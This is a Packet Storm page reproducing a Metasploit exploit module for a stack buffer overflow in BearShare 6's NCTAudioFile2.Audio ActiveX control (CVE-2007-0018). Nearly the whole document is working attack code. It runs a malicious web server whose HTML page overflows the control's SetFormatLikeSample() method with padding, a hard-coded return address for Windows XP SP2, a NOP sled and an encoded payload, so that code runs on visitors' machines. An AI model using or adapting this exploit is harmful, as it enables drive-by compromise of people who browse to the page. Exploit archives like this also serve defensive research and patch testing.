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BearShare 6 ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

BearShare 6 ActiveX Control Buffer Overflow exploi

Related
Code
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BearShare 6 ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX  
Control provided by BearShare 6.0.2.26789. By sending a overly long string   
to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-0018' ],  
[ 'OSVDB', '32032' ],  
[ 'BID', '23892' ],  
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d'\\",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2 Pro English', { 'Offset' => 4116, 'Ret' => 0x7c81518B } ],  
],  
'DisclosureDate' => 'May 5 2007',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Randomize some things  
vname = rand_text_alpha(rand(100) + 1)  
strname = rand_text_alpha(rand(100) + 1)  
  
# Set the exploit buffer   
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')   
sploit << make_nops(8) + p.encoded   
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>  
<script language='javascript'>  
var #{vname} = document.getElementById('#{vname}');  
var #{strname} = new String('#{sploit}');  
#{vname}.SetFormatLikeSample(#{strname});   
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

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